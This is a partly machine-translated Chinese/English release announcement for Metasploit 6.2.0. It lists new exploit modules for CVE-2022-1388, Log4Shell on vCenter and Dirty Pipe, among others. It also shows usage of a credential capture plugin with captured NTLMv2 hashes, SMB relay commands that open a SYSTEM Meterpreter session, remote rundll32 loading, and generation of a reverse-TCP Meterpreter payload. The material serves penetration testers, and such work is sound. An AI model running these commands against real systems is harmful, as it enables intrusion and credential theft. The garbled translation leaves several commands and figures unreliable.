最后更新于2022年6月9日星期四16:46:00 GMT
Metasploit 6.2.0 has been released, 标志着包含新模块的另一个里程碑, features, improvements, and bug fixes. Since Metasploit 6.1.0(2021年8月)直到最新的Metasploit 6.2.0 release we’ve added:
- 138 new modules
- 148增强和特性
- 156 bug fixes
Top modules
每周,Metasploit团队都会发布一个 Metasploit wrap-up 附带新的Metasploit模块的详细发布说明. 下面是一些最近的模块列表,渗透测试人员告诉我们他们正在积极地使用这些模块(并取得了成功)。.
Remote Exploitation
- VMware vCenter Server未经认证的JNDI注入RCE(通过Log4Shell) 由RageLtMan, Spencer McIntyre, jbaines-r7和w3bd3vil开发 CVE-2021-44228:一个vcenter特有的利用Log4Shell漏洞来实现未经身份验证的RCE
root
/SYSTEM
. 这个漏洞已经在Windows和Linux目标上进行了测试. - F5 BIG-IP iControl RCE通过REST认证旁路 由Heyder Andrade, James Horseman, Ron Bowes和alt3kx共同开发 CVE-2022-1388:该模块针对CVE-2022-1388,这是一个影响F5 BIG-IP版本的漏洞.1.2.2. By making a special request, 攻击者可以绕过iControl REST身份验证并获得对管理功能的访问权. 这可以被未经身份验证的攻击者用来执行任意命令
root
user on affected systems. - VMware Workspace ONE Access CVE-2022-22954 由wvu, Udhaya Prakash和mr_me,利用 CVE-2022-22954: This module exploits an unauthenticated remote code execution flaw in VMWare Workspace ONE Access installations; the vulnerability is being used broadly in the wild.
- Zyxel防火墙ZTP未经认证的命令注入 由jbaines-r7开发 CVE-2022-30525:该模块针对CVE-2022-30525, 一个未经身份验证的远程命令注入漏洞,影响Zyxel防火墙的零接触配置(ZTP)支持. 成功利用将导致远程代码执行
nobody
user. The vulnerability was discovered by Rapid7 researcher Jake Baines.
Local Privilege Escalation
- CVE-2022-21999 SpoolFool Privesc 奥利弗·利亚克和谢尔比·佩斯的作品,它利用了 CVE-2022-21999:针对Windows 10或18362或更早版本的服务器上的假脱机服务的本地特权升级.
- 通过CVE-2022-0847升级脏管道本地权限 Max Kellermann和timwr的作品 CVE-2022-0847:一个针对从版本5开始的Linux内核中的特权升级漏洞的模块.8. 该模块利用该漏洞覆盖SUID二进制文件,以便获得权限
root
user.
Capture plugin
捕获凭证是许多攻击性安全测试人员的关键和早期阶段. 多年来,Metasploit通过协议特定的模块促进了这一点 auxiliary/server/capture
namespace. 用户可以单独启动和配置这些模块,但是从MSF 6开始.2.0, a new capture plugin 也可以为用户简化这个过程吗. capture插件目前在同一个侦听IP地址上启动13个不同的服务(包括17个启用ssl的版本),包括通过Meterpreter的远程接口.
After running the load capture
command, the captureg
命令可用(用于Capture-Global),然后提供启动和停止子命令. 配置文件可用于选择要启动的各个服务.
在下面的示例中,加载插件,然后在192上启动所有默认服务.168.123.128 interface:
msf6 > load capture
[*]成功加载插件:Credential Capture
msf6 > captureg start --ip 192.168.123.128
将结果记录到/home/kali/.msf4 / logs /捕获/ capture_local_20220518185845_205939.txt
哈希结果存储在/home/kali/中.msf4 /战利品/捕获/ capture_local_20220518185845_846339
[+]身份验证捕获:DRDA (DB2、Informix、Derby)启动
[+]认证捕获:FTP启动
[+] HTTP Client MS Credential Catcher启动
[+] HTTP Client MS Credential Catcher启动
[+]认证捕获:IMAP启动
[+]认证捕获:MSSQL启动
[+]认证捕获:MySQL启动
[+]认证捕获:POP3启动
[+]认证捕获:PostgreSQL启动
[+]打印作业捕获服务启动
[+]认证捕获:SIP启动
[+] Authentication Capture: SMB started
[+]身份验证捕获:SMTP启动
[+]认证捕获:Telnet启动
[+]认证捕获:VNC启动
[+]认证捕获:FTP启动
[+]认证捕获:IMAP启动
[+]认证捕获:POP3启动
[+]身份验证捕获:SMTP启动
[+] NetBIOS名称服务欺骗启动
[+] LLMNR Spoofer started
[+] mDNS Spoofer started
[+] Started capture jobs
开设一个新的终端与 tail
命令将显示已捕获的所有内容. 例如,NTLMv2-SSP通过SMB捕获模块详细说明:
$ tail -f ~/.msf4 / logs /捕获/ capture_local_20220518185845_205939.txt
[+] Auth Capture Server接收到SMB连接!
[SMB] NTLMv2-SSP Client: 192.168.123.136
[SMB] NTLMv2-SSP用户名:EXAMPLE\Administrator
[SMB] NTLMv2-SSP Hash : Administrator::EXAMPLE:1122334455667788:c77cd466c410eb0721e4936bebd1c35b:0101000000000000009391080b6bd8013406d39c880c5a66000000000200120061006e006f006e0079006d006f00750073000100120061006e006f006e0079006d006f00750073000400120061006e006f006e0079006d006f00750073000300120061006e006f006e0079006d006f007500730007000800009391080b6bd801060004000200000008003000300000000000000001000000002000009eee3e2f941900a084d7941d60cbd5e04f91fbf40f59bfa4ed800b060921a6740a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100320033002e003100320038000000000000000000
也可以直接登录到标准输出,而不使用 tail
command:
captureg start --ip 192.168.123.128 --stdout
SMB v3 server support
这项工作建立在SMB v3客户机支持的基础上 added in Metasploit 6.0.
Metasploit 6.2.0包含一个新的独立工具,用于生成允许对当前工作目录进行只读访问的SMB服务器. 这个新的SMB服务器功能支持SMB v1/2/3,以及对SMB v3的加密支持.
Example usage:
ruby tools/smb_file_server.——用户名metasploit——密码密码——共享点
这对于将文件复制到远程目标或运行远程dll非常有用:
copy \\192.168.123.1\home\example.txt .
rundll32.exe \\192.168.123.1\home\example.dll,0
所有剩余的Metasploit模块现在都已更新为支持SMB v3. Some examples:
利用/ windows / smb / smb_delivery
:该模块输出一个rundll32命令,您可以在远程机器上调用该命令来打开会话, such asrundll32.exe \\192.168.123.128\tHKPx\WeHnu,0
exploit/windows/smb/capture
:该模块创建一个模拟SMB服务器,该服务器在返回之前接受凭据NT_STATUS_LOGON_FAILURE
. Supports SMB v1, SMB v2, 和SMB v3,并捕获NTLMv1和NTLMv2哈希值, 哪些可以用于离线密码破解利用/ windows / dcerpc / cve_2021_1675_printnightmare
:此更新是一个改进的, 使用新的SMB服务器的全包漏洞, 使用户不需要处理Samba.利用/ windows / smb / smb_relay
:下面将详细介绍.
Enhanced SMB relay support
The windows/smb/smb_relay
已更新,因此用户现在可以在SMB版本2和3上中继. In addition, 该模块现在可以选择多个目标,Metasploit将智能循环通过,以确保它不会浪费传入的连接.
Example module usage:
use windows/smb/smb_relay
set RELAY_TARGETS 192.168.123.4 192.168.123.25
set JOHNPWFILE ./relay_results.txt
run
捕获传入请求的哈希值, 并被转发到其他目标以运行psexec:
msf6 exploit(windows/smb/smb_relay) > [*] New request from 192.168.123.22
[*]已收到\admin请求
[*]中继到下一个目标smb://192.168.123.4:445
[+] identity: \admin -成功验证中继目标smb://192.168.123.4:445
[SMB] NTLMv2-SSP Client: 192.168.123.4
[SMB] NTLMv2-SSP用户名:\admin
[SMB] NTLMv2-SSP Hash : admin:::ecedb28bc70302ee:a88c85e87f7dca568c560a49a01b0af8:0101000000000000b53a334e842ed8015477c8fd56f5ed2c0000000002001e004400450053004b0054004f0050002d004e0033004d00410047003500520001001e004400450053004b0054004f0050002d004e0033004d00410047003500520004001e004400450053004b0054004f0050002d004e0033004d00410047003500520003001e004400450053004b0054004f0050002d004e0033004d00410047003500520007000800b53a334e842ed80106000400020000000800300030000000000000000000000000300000174245d682cab0b73bd3ee3c11e786bddbd1a9770188608c5955c6d2a471cb180a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e003100320033002e003100000000000000000000000000
[*]已收到\admin请求
[*] identity: \admin -所有目标中继到
[*] 192.168.123.4:445 -选择PowerShell目标
[*]已收到\admin请求
[*] identity: \admin -所有目标中继到
[*] 192.168.123.4:445 -执行负载...
[+] 192.168.123.4:445 -服务启动超时,如果运行命令或非服务可执行文件则OK...
[*]发送阶段(175174字节)到192.168.123.4
[*]计量器会话1打开(192.168.123.1:4444 -> 192.168.123.4:52771 ) at 2022-03-02 22:24:42 +0000
一个会话将在中继目标上用相关凭证打开:
msf6 exploit(windows/smb/smb_relay) > sessions
Active sessions
===============
Id名称类型信息连接
-- ---- ---- ----------- ----------
1 meterpreter x86/windows NT AUTHORITY\SYSTEM @ DESKTOP-N3MAG5R.168.123.1:4444 -> 192.168.123.4:52771 (192.168.123.4)
详情请参阅 Metasploit SMB Relay文档.
改进的pivot / NATed服务支持
Metasploit为库添加了提供侦听服务(如HTTP)的特性, FTP, LDAP, 等),以允许它们绑定到一个显式的IP地址和端口组合,这是独立于什么是典型的SRVHOST选项. 这对于目标需要通过NAT或端口转发配置连接到Metasploit的场景中可能使用的模块特别有用. 此特性的使用模仿了reverse_tcp和reverse_http(s)负载器提供的现有功能.
当用户需要目标器连接到10时.2.3.4、Metasploit用户将其设置为SRVHOST. If, however, 该IP地址是路由器具有端口转发的外部接口, Metasploit将无法绑定到它. To fix that, 用户现在可以将ListenerBindAddress选项设置为Metasploit可以侦听的选项-在这种情况下, 路由器将转发传入连接的IP地址.
以网络配置为例:
Private IP: 172.31.21.26 (Metasploit可以绑定到的地方)
External IP: 10.2.3.4(目标连接到Metasploit)
Metasploit模块命令如下:
#设置目标与Metasploit的连接位置. ListenerBindAddress是一个新选项.
set srvhost 10.2.3.4
设置ListenerBindAddress 172.31.21.26
#设置Metasploit将绑定到哪里. ReverseListenerBindAddress是一个已经存在的选项.
set lhost 10.2.3.4
设置ReverseListenerBindAddress 172.31.21.26
调试Meterpreter会话
现在有两种调试Meterpreter会话的方法:
- 记录msfconsole和Meterpreter之间的所有网络请求和响应.e. TLV packets
- 生成带有额外日志记录的自定义Meterpreter调试构建
Log Meterpreter TLV packets
这可以在任何Meterpreter会话中启用,并且不需要特殊的调试Metasploit构建:
msf6 > setg SessionTlvLogging true
SessionTlvLogging => true
运行时记录网络流量的示例 getenv
Meterpreter command:
meterpreter > getenv USER
SEND: #
#
#
]>
RECV: #
#
#
#
#
#
]>
]>
Environment Variables
=====================
Variable Value
-------- -----
USER demo_user
Meterpreter debug builds
我们在Meterpreter有效负载生成中添加了其他选项,用于生成具有附加日志语句的调试构建. 这些有效负载对于调试Meterpreter会话非常有用, 在开发新的Meterpreter功能时, 或用于提出Metasploit问题报告等. 要选择具有调试功能的预构建Meterpreter有效负载,请设置 MeterpreterDebugBuild
to true. 还支持通过设置将日志输出写入标准输出或远程目标上的文件 MeterpreterDebugLogging
to rpath:/tmp/meterpreter_log.txt
.
例如,在msfconsole中,你可以生成一个新的有效载荷并创建一个处理程序:
使用负载/ python / meterpreter_reverse_tcp
generate -o shell.py -f raw lhost=127.0.0.1 MeterpreterDebugBuild=true MeterpreterTryToFork=false
to_handler
运行负载将显示Meterpreter日志输出:
$ python3 shell.py
DEBUG:root:[*] running method core_negotiate_tlv_encryption
DEBUG:root:[*]协商TLV加密
DEBUG:root:[*] RSA key: 30820122300d06092a864886f70d01010105000382010f003082010a0282010100aa0f09225ff311d136b7c2ed02e5f4c819a924bd59a2ba67ea3e36c837c1d28ba97db085acad9374a543ad0709006d835c80aa273138948ec9ff699142405819e68b8dbc3c04300dc2a93a5be4be2263b69e8282447b6250abad8056de6e7f83b20c6151d72af63c908fa5b0c3ab3a4ac92d8b335a284b0542e3bf9ef10456024df2581b22f233a84e69d41d721aa00e23ba659c4420123d5fdd78ac061ffcb74e5ba60fece415c2be982df57d13afc107b8522dc462d08247e03d63b0d6aa639784e7187384c315147a7d18296f09495ba7969da01b1fb49097295792572a01acdaf7406f2ad5b25d767d8695cc6e33d33dfeeb158a6f50d43d07dd05aa19ff0203010001
调试:root:[*] AES密钥:0x121565e60770fccfc7422960bde14c12193baa605c4fdb5489d9bbd6b659f966
DEBUG:root:[*] Encrypted AES key: 0x741a972aa2e95260279dc658f4b611ca2039a310ebb834dee47342a5809a68090fed0a87497f617c2b04ecf8aa1d6253cda0a513ccb53b4acc91e89b95b198dce98a0908a4edd668ff51f2fa80f4e2c6bc0b5592248a239f9a7b30b9e53a260b92a3fdf4a07fe4ae6538dfc9fa497d02010ee67bcf29b38ec5a81d62da119947a60c5b35e8b08291825024c734b98c249ad352b116618489246aebd0583831cc40e31e1d8f26c99eb57d637a1984db4dc186f8df752138f798fb2025555802bd6aa0cebe944c1b57b9e01d2d9d81f99a8195222ef2f32de8dfbc150286c122abdc78f19246e5ad65d765c23ba762fe95182587bd738d95814a023d31903c2a46
DEBUG:root:[*] TLV加密排序
DEBUG:root:[*]发送响应报文
[*]运行方法core_set_session_guid
DEBUG:root:[*]发送响应报文
DEBUG:root:[*]运行方法core_enumextcmd
DEBUG:root:[*]发送响应报文
DEBUG:root:[*]运行方法core_enumextcmd
DEBUG:root:[*]发送响应报文
... etc ...
For full details, see the 调试Meterpreter Sessions文档.
User-contributable docs
我们现在已经发布了Metasploit的用户贡献文档,可在 http://docs.metasploit.com/. 这个新网站为多个主题提供了可搜索的信息来源,包括:
- Common Metasploit workflows
- 升级炮弹到Meterpreter
- Kubernetes
- MySQL
- PostgreSQL
- SMB
- SSH
- WinRM
- Installation guides
- 模块开发资源
- ... and more!
Contributions are welcome, Markdown文件现在可以在Metasploit框架仓库中找到, under the docs folder.
本地漏洞建议改进
The post /多/侦察/ local_exploit_suggester
post模块可用于遍历多个相关的Metasploit模块,并自动检查可能导致权限升级的本地漏洞.
Now with Metasploit 6.2, 此模块已更新,修复了许多错误, 以及改进的用户体验,更清楚地突出哪些模块是可行的:
msf6 post(multi/recon/local_exploit_suggester) > run session=-1
... etc ...
[*]::1 - session 3的有效模块:
============================
#名称潜在漏洞? Check Result
- ---- ----------------------- ------------
1 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec是攻击目标存在漏洞.
2 exploit/linux/local/ cve_2022_0847_dirtypype是攻击目标存在漏洞. 发现Linux内核版本.14.0
3 exploit/linux/local/cve_2022_0995_watch_queue是攻击目标存在漏洞.
4 exploit/linux/local/desktop_privilege_escalation是攻击目标存在漏洞.
5 exploit/linux/local/network_manager_vpnc_username_priv_esc是服务正在运行, but could not be validated.
6 exploit/linux/local/pkexec是服务正在运行, but could not be validated.
7 exploit/linux/local/polkit_dbus_auth_bypass是服务正在运行, but could not be validated. 检测到polkit框架版本0.105.
8 exploit/linux/local/su_login是攻击目标存在漏洞.
9 exploit/android/local/futex_requeue否检查引发异常.
10 exploit/linux/local/abrt_raceabrt_priv_esc否目标器不可利用.
11 exploit/linux/local/abrt_sosreport_priv_esc否目标器不可利用.
12 exploit/linux/local/af_packet_chocobo_root_priv_esc否目标器不可利用. Linux kernel 5.14.0-kali4-amd64 #1不容易受到攻击
13 exploit/linux/local/af_packet_packet_set_ring_priv_esc否目标器不可利用.
14 exploit/linux/local/apport_abrt_chroot_priv_esc否目标器不可利用.
15 exploit/linux/local/asan_suid_executable_priv_esc否检查异常.
16 exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc否目标器不可利用.
Setting the option verbose=true
现在还会突出显示由于会话平台/arch/类型不匹配而未被视为模块建议阶段一部分的模块吗. 这对于评估可能需要从shell会话手动迁移到Meterpreter的模块非常有用, 或从Python Meterpreter到本地Meterpreter以获得本地特权升级.
Upcoming roadmap work
除了正常的模块开发发布周期之外, Metasploit团队现在已经开始增加Kerberos身份验证支持,这是Metasploit 6计划的一部分.3.0 release.
Get it
现有Metasploit框架用户可以通过 msfupdate
command.
新用户可以通过我们的 nightly installers, or if you are a git
user, you can clone the Metasploit Framework repo (主分支)用于最新版本.